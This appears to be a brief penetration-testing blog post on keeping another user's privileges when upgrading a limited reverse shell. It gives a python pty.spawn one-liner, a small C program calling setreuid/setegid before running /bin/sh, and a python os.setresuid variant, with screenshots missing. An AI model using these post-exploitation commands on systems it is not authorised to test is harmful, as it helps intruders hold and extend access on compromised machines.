Linux - spawn bash with id elevation
Sometimes during penetration test you can end in situation like that:
Mostly it will be remote reverse shells and going:
$ /bin/bash
is not an option xD
There is a nice way to escape from that typing:
$ python -c ‘import pty;pty.spawn(“/bin/bash”)’
it works nice and makes your life easier… but in situation like that one you will end with something like that:
As you can see we went back to user1 loosing privileges from user2. When I had to deal with problem like that one I found this solution:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
setreuid(1001,1001);
setegid(1001);
system("/bin/sh");
return 0;
}
Unfortunately, most of the times you will have to compile binary somewhere else and then copy it to target, but in return you get this:
It is working and you are now user2. That solution is nice and it helped me a lot but after while I sat and asked myself: “Why not use some Python magic?”. I’m not very familiar with Python but I’ve found easily method I was looking for:
os.setresuid(ruid, euid, suid)
Set the current process’s real, effective, and saved user ids.
Availability: Unix.
New in version 2.7.
So now shell-spawning command will look like that:
python -c ‘import os,pty; os.setresuid(new_id,new_id,new_id); pty.spawn(“/bin/bash”)’
Let’s give it a try:
Mission accomplished! No compiling, fast, easy, working. Enjoy!